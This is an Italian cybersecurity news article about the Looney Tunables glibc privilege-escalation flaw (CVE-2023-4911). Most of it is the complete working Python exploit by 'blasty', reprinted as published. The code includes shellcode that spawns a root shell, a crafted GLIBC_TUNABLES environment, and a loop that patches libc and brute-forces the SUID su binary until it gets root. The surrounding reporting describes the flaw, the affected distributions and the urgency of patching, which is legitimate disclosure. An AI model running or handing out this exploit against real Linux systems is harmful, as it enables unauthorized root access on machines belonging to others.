Red Hot Cyber
Condividi la tua difesa. Incoraggia l'eccellenza. La vera forza della cybersecurity risiede nell'effetto moltiplicatore della conoscenza.
Condividi la tua difesa. Incoraggia l'eccellenza.
La vera forza della cybersecurity risiede
nell'effetto moltiplicatore della conoscenza.
Banner Ancharia Desktop 1 1
2nd Edition GlitchZone RHC 320x100 2
Linux Looney Tunables: l’exploit è fuori e il livello di utilizzo è veramente basso

Linux Looney Tunables: l’exploit è fuori e il livello di utilizzo è veramente basso

6 Ottobre 2023 16:22

Prima che avessimo il tempo di parlarvi della vulnerabilità “Looney Tunables”, tracciata con l’identificatore CVE-2023-4911, su Internet era già apparso un exploit PoC che consente di sfruttare con successo questa vulnerabilità in un attacco reale.

Inoltre, la complessità dello sfruttamento della vulnerabilità è a un livello estremamente basso: anche un hacker alle prime armi può farcela. Il codice lo trovate più avanti.

Looney Tunables consente agli aggressori di ottenere privilegi di root sui sistemi Linux sfruttando un difetto di buffer overflow. La falla di sicurezza colpisce le installazioni standard di Debian 12 e 13, Ubuntu 22.04 e 23.04 e Fedora 37 e 38.


Christmas Sale

Christmas Sale -40%
𝗖𝗵𝗿𝗶𝘀𝘁𝗺𝗮𝘀 𝗦𝗮𝗹𝗲! Sconto del 𝟰𝟬% 𝘀𝘂𝗹 𝗽𝗿𝗲𝘇𝘇𝗼 𝗱𝗶 𝗰𝗼𝗽𝗲𝗿𝘁𝗶𝗻𝗮 del Corso "Dark Web & Cyber Threat Intelligence" in modalità E-Learning sulla nostra Academy!🚀 Fino al 𝟯𝟭 𝗱𝗶 𝗗𝗶𝗰𝗲𝗺𝗯𝗿𝗲, prezzi pazzi alla Red Hot Cyber Academy. 𝗧𝘂𝘁𝘁𝗶 𝗶 𝗰𝗼𝗿𝘀𝗶 𝘀𝗰𝗼𝗻𝘁𝗮𝘁𝗶 𝗱𝗲𝗹 𝟰𝟬% 𝘀𝘂𝗹 𝗽𝗿𝗲𝘇𝘇𝗼 𝗱𝗶 𝗰𝗼𝗽𝗲𝗿𝘁𝗶𝗻𝗮.
Per beneficiare della promo sconto Christmas Sale, scrivici ad [email protected] o contattaci su Whatsapp al numero di telefono: 379 163 8765.


Supporta Red Hot Cyber attraverso: 

  1. L'acquisto del fumetto sul Cybersecurity Awareness
  2. Ascoltando i nostri Podcast
  3. Seguendo RHC su WhatsApp
  4. Seguendo RHC su Telegram
  5. Scarica gratuitamente “Byte The Silence”, il fumetto sul Cyberbullismo di Red Hot Cyber

Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì.

I criminali informatici possono sfruttare la vulnerabilità utilizzando una variabile di ambiente dannosa “GLIBC_TUNABLES” gestita dal loader dinamico “ld.so” per causare l’esecuzione di codice arbitrario come root quando si eseguono file binari con autorizzazione SUID.

Uno degli exploit PoC, già confermato e funzionante dall’esperto di vulnerabilità Will Dohrmann, è stato pubblicato dal ricercatore indipendente sulla sicurezza Peter Geissler con lo pseudonimo di “blasty”.

#
# gnu-acme.py
# ------------------------------------------------------------------------------
# my (bad) attempt at a CVE-2023-4911 exploit
# based on the advisory[1] by Qualys and thumb sucking
#
# if you disable aslr (echo 0 > /proc/sys/kernel/randomize_va_space) it will
# attempt to identify a workable offset for your ld.so, you can add it to TARGETS
#
# tested on glibc 2.35-0ubuntu3 (aarch64) and glibc 2.36-9+deb12u2 (amd64)
#
# enjoy, maybe? and don't ask for support :)
#
# -- blasty <[email protected]>
#
# [1]: https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
#

import binascii
import resource
import struct
import select
import time

import sys
import os

from ctypes import *
from ctypes.util import find_library
from shutil import which

unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))

# setresuid(euid, euid, euid); execve("/bin/sh", ["sh", NULL], NULL);
# exit(0x66)
ARCH = {
    "x86_64": {
        "shellcode": unhex(
            "6a6b580f0589c789c289c66a75580f05"
            + "6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
        ),
        "exitcode": unhex("6a665f6a3c580f05"),
        "stack_top": 0x800000000000,
        "stack_aslr_bits": 34,
    },
    "aarch64": {
        "shellcode": unhex(
            "e81580d2010000d4e10300aae20300aa681280d2010000d4"
            + "ee458cd22ecdadf2eee5c5f2ee65eef20f0d80d2ee3fbfa9e0030091e1031faae2031faaa81b80d2010000d4"
        ),
        "exitcode": unhex("c00c80d2a80b80d2010000d4"),
        "stack_top": 0x1000000000000,
        "stack_aslr_bits": 30,
    },
}

TARGETS = {
    "a8daca28288575ffc8c7641d40901b0148958fb1": 580,
    "a99db3715218b641780b04323e4ae5953d68a927": 561,
}

libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
resource.setrlimit(
    resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)
)


def error(s):
    print("error: %s" % s)
    exit(-1)


def find_hax_path(blob, offset):
    pos = offset
    while pos > 0:
        if blob[pos] != 0 and blob[pos] != 0x2F and blob[pos + 1] == 0:
            return {"path": bytes([blob[pos]]), "offset": pos - offset}
        pos = pos - 1
    return None


def lolstruct(format, keys, data):
    return dict(zip(keys.split(" "), struct.unpack(format, data)))


def lib_path(libname):
    class LINKMAP(Structure):
        _fields_ = [("l_addr", c_void_p), ("l_name", c_char_p)]

    lib = CDLL(find_library("c"))
    libdl = CDLL(find_library("dl"))
    dlinfo = libdl.dlinfo
    dlinfo.argtypes = c_void_p, c_int, c_void_p
    dlinfo.restype = c_int
    lmptr = c_void_p()
    dlinfo(lib._handle, 2, byref(lmptr))
    return cast(lmptr, POINTER(LINKMAP)).contents.l_name


def execve(filename, cargv, cenvp):
    libc.execve(filename, cargv, cenvp)


def spawn(filename, argv, envp):
    cargv = (c_char_p * len(argv))(*argv)
    cenvp = (c_char_p * len(envp))(*envp)
    child_pid = os.fork()
    # child
    if not child_pid:
        execve(filename, cargv, cenvp)
        exit(0)

    # parent
    start_time = time.time()
    while True:
        try:
            pid, status = os.waitpid(child_pid, os.WNOHANG)
            if pid == child_pid:
                if os.WIFEXITED(status):
                    return os.WEXITSTATUS(status) & 0xFF7F
                else:
                    return 0
        except:
            pass
        current_time = time.time()
        if current_time - start_time >= 1.5:
            print("** ohh... looks like we got a shell? **\n")
            os.waitpid(child_pid, 0)
            return 0x1337


class lazy_elf:
    def __init__(self, filename):
        self.d = open(filename, "rb").read()
        self.h = lolstruct(
            "<HHLQQQLHHHHHH",
            "type machine version entry phoff shoff flags ehsize "
            + "phtentsize phnum shentsize shnum shstrndx",
            self.d[0x10:0x40],
        )
        shstr = self.shdr(self.h["shstrndx"])
        self.section_names = self.d[shstr["offset"] : shstr["offset"] + shstr["size"]]

    def shdr(self, idx):
        pos = self.h["shoff"] + (idx * self.h["shentsize"])
        return lolstruct(
            "<LLQQQQLLQQ",
            "name type flags addr offset size link info addralign entsize",
            self.d[pos : pos + self.h["shentsize"]],
        )

    def shdr_by_name(self, name):
        name = name.encode()
        for i in range(self.h["shnum"]):
            shdr = self.shdr(i)
            if self.section_names[shdr["name"] :].split(b"\x00")[0] == name:
                return shdr
        return None

    def section_by_name(self, name):
        s = self.shdr_by_name(name)
        return self.d[s["offset"] : s["offset"] + s["size"]]

    def symbol(self, name):
        name = name.encode()
        dynsym = self.section_by_name(".dynsym")
        dynstr = self.section_by_name(".dynstr")
        for i in range(len(dynsym) // 24):
            pos = i * 24
            sym = lolstruct(
                "<LBBHQQ",
                "name info other shndx value size",
                dynsym[pos : pos + 24],
            )
            if dynstr[sym["name"] :].split(b"\x00")[0] == name:
                return sym["value"]
        return None


def is_aslr_enabled():
    return int(open("/proc/sys/kernel/randomize_va_space", "r").read()) > 0


def build_env(adjust, addr, offset):
    # heap meh shui
    env = [
        b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
        b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
        b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
        b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
    ]

    for j in range(172):
        env.append(b"")

    env.append(struct.pack("<Q", addr))
    env.append(b"")

    for i in range(384):
        env.append(b"")

    for i in range(47):
        env.append(struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16383)

    env.append(None)
    return env


def build_argv(args):
    argv = []
    for arg in args:
        if len(argv) == 0:
            arg = os.path.basename(arg)
        argv.append(arg.encode())
    argv.append(None)
    return argv


def banner():
    print("")
    print("      $$$ glibc ld.so (CVE-2023-4911) exploit $$$")
    print("            -- by blasty <[email protected]> --      ")
    print("")


if __name__ == "__main__":
    banner()

    machine = os.uname().machine

    if machine not in ARCH.keys():
        error("architecture '%s' not supported" % machine)

    print("[i] libc = %s" % lib_path("c").decode())

    su_path = which("su")

    print("[i] su = %s" % su_path)

    suid_e = lazy_elf(su_path)

    ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode()

    ld_e = lazy_elf(ld_path)

    print("[i] ld.so = %s" % ld_path)

    ld_build_id = binascii.hexlify(
        ld_e.section_by_name(".note.gnu.build-id")[-20:]
    ).decode()

    print("[i] ld.so build id = %s" % ld_build_id)

    libc_e = lazy_elf(lib_path("c"))

    __libc_start_main = libc_e.symbol("__libc_start_main")

    print("[i] __libc_start_main = 0x%x" % __libc_start_main)

    offset = suid_e.shdr_by_name(".dynstr")["offset"]
    hax_path = find_hax_path(suid_e.d, offset)

    if hax_path is None:
        error("could not find hax path")

    print(
        "[i] using hax path %s at offset %d"
        % (
            hax_path["path"],
            hax_path["offset"],
        )
    )

    if ld_build_id not in TARGETS.keys():
        error("no target info found for build id %s" % ld_build_id)

    if not os.path.exists(hax_path["path"]):
        os.mkdir(hax_path["path"])

    argv = build_argv([su_path, "--help"])

    if not is_aslr_enabled():
        print("[i] ASLR is not enabled, attempting to find usable offsets")

        shellcode = ARCH[machine]["exitcode"]

        with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
            fh.write(libc_e.d[0:__libc_start_main])
            fh.write(shellcode)
            fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
        print("[i] wrote patched libc.so.6")

        stack_addr = ARCH[machine]["stack_top"] - 0x2000
        stack_addr += 0x103

        print("[i] using stack addr 0x%x" % stack_addr)

        for adjust in range(128, 1024):
            env = build_env(adjust, stack_addr, hax_path["offset"])
            r = spawn(su_path.encode(), argv, env)
            print("%d = %d" % (adjust, r))
            if r == 0x66:
                print(
                    "found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
                )

    else:
        shellcode = ARCH[machine]["shellcode"]

        with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
            fh.write(libc_e.d[0:__libc_start_main])
            fh.write(shellcode)
            fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
        print("[i] wrote patched libc.so.6")

        stack_addr = ARCH[machine]["stack_top"] - (
            1 << (ARCH[machine]["stack_aslr_bits"] - 1)
        )
        stack_addr += 3
        # avoid NULL bytes in guessy addr (out of sheer laziness really)
        for i in range(6):
            if (stack_addr >> (i * 8)) & 0xFF == 0:
                stack_addr |= 0x10 << (i * 8)

        print("[i] using stack addr 0x%x" % stack_addr)

        env = build_env(TARGETS[ld_build_id], stack_addr, hax_path["offset"])

        cnt = 0
        while True:
            if cnt % 0x10 == 0:
                sys.stdout.write(".")
                sys.stdout.flush()
            if spawn(su_path.encode(), argv, env) == 0x1337:
                print("goodbye.")
                exit(0)
            cnt += 1

Anche altri ricercatori stanno sviluppando e pubblicando contemporaneamente i propri exploit per CVE-2023-4911 su GitHub e altre piattaforme.

“Il nostro riuscito sfruttamento che ha portato all’accesso root completo sulle principali distribuzioni come Fedora, Ubuntu e Debian sottolinea la gravità e la natura diffusa di questa vulnerabilità”, ha affermato Saeed Abbasi, product manager del team di ricerca sulle minacce di Qualys, il 3 ottobre

Sono stati gli esperti di Qualys i primi a identificare questa vulnerabilità.

Gli amministratori devono agire immediatamente e proteggere le installazioni Linux sotto il loro controllo il prima possibile a causa della significativa minaccia rappresentata da Looney Tunables.

Seguici su Google News, LinkedIn, Facebook e Instagram per ricevere aggiornamenti quotidiani sulla sicurezza informatica. Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

Immagine del sito
La redazione di Red Hot Cyber è composta da professionisti del settore IT e della sicurezza informatica, affiancati da una rete di fonti qualificate che operano anche in forma riservata. Il team lavora quotidianamente nell’analisi, verifica e pubblicazione di notizie, approfondimenti e segnalazioni su cybersecurity, tecnologia e minacce digitali, con particolare attenzione all’accuratezza delle informazioni e alla tutela delle fonti. Le informazioni pubblicate derivano da attività di ricerca diretta, esperienza sul campo e contributi provenienti da contesti operativi nazionali e internazionali.

Articoli in evidenza

Immagine del sitoCultura
John von Neumann: Il genio poliedrico che ha rivoluzionato l’informatica
Carlo Denza - 28/12/2025

Conosciamo quello che è stato considerato uno degli uomini di scienza, forse pari solo a Einstein, più poliedrici e geniali dello scorso secolo. Con un ampissimo spettro di talenti scientifici, sviluppati anche grazie ad un…

Immagine del sitoCybercrime
Il Cybercrime cerca Dipendenti Infedeli. Aumento delle richieste nelle underground
Redazione RHC - 27/12/2025

La comunità dei criminali informatici sta rapidamente aumentando il suo interesse nel reclutare personale all’interno delle aziende. Invece di sofisticati attacchi esterni, i criminali si affidano sempre più a fonti interne, ovvero persone disposte a…

Immagine del sitoCyberpolitica
La guerra dell’energia invisibile: come la Cina controlla il cuore dell’IA occidentale
Redazione RHC - 27/12/2025

Nella Virginia settentrionale, lungo quello che viene ormai definito il “corridoio dei data center”, sorgono enormi strutture senza finestre che costituiscono l’ossatura fisica della corsa statunitense all’intelligenza artificiale. Questi edifici, grandi quanto hangar industriali, assorbono…

Immagine del sitoHacking
Villager: il framework di pentesting basato su AI che preoccupa la sicurezza globale
Redazione RHC - 26/12/2025

Il team AI Research (STAR) di Straiker ha individuato Villager, un framework di penetration testing nativo basato sull’intelligenza artificiale, sviluppato dal gruppo cinese Cyberspike. Lo strumento, presentato come soluzione red team, è progettato per automatizzare…

Immagine del sitoInnovazione
Non mangiano, dormono e sbagliano: i soldati della Cina al confine saranno robot
Redazione RHC - 26/12/2025

Il confine tra Cina e Vietnam avrà presto nuovi “dipendenti” che non hanno bisogno di dormire, mangiare o fare turni. L’azienda cinese UBTech Robotics ha ricevuto un contratto da 264 milioni di yuan (circa 37…